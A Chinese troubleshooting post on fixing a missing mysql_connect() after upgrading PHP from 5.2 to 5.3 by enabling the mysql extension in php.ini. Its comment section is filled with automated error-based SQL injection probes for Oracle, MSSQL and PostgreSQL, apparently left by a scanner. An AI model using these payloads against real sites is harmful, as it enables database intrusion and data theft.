企业故障(无法调用mysql_connect()函数)

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问题描述:

当企业网站升级php。从5.2升级到5.3访问网站的时候出现报错:无法调用mysql_connect()函数;

经过排查后发现是php没有打开mysql扩展。

解决方法:


请确定是否修改了正确的php.ini

extension=php_mysql.dll 
前面的分号去掉
修改完了重启web服务
重启完了phpinfo();里有没有mysql这个选项.

全部评论

2019-12-20 11:26
angelina') AND 6249=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (6249=6249) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND ('NCCc'='NCCc
2019-12-20 11:26
angelina AND 7929 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7929=7929) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)))-- aiqW
2019-12-20 11:26
angelina AND 7929 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7929=7929) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)))
2019-12-20 11:26
angelina) AND 7929 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7929=7929) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) AND (3566=3566
2019-12-20 11:26
angelina' AND 7929 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7929=7929) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) AND 'UobW'='UobW
2019-12-20 11:26
angelina') AND 7929 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7929=7929) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113))) AND ('fTcp'='fTcp
2019-12-20 11:26
angelina AND 5885=CAST((CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (5885=5885) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC)-- gikX
2019-12-20 11:26
angelina AND 5885=CAST((CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (5885=5885) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC)
2019-12-20 11:26
angelina) AND 5885=CAST((CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (5885=5885) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC) AND (3071=3071
2019-12-20 11:26
angelina' AND 5885=CAST((CHR(113)||CHR(113)||CHR(120)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (5885=5885) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(106)||CHR(113)) AS NUMERIC) AND 'WAES'='WAES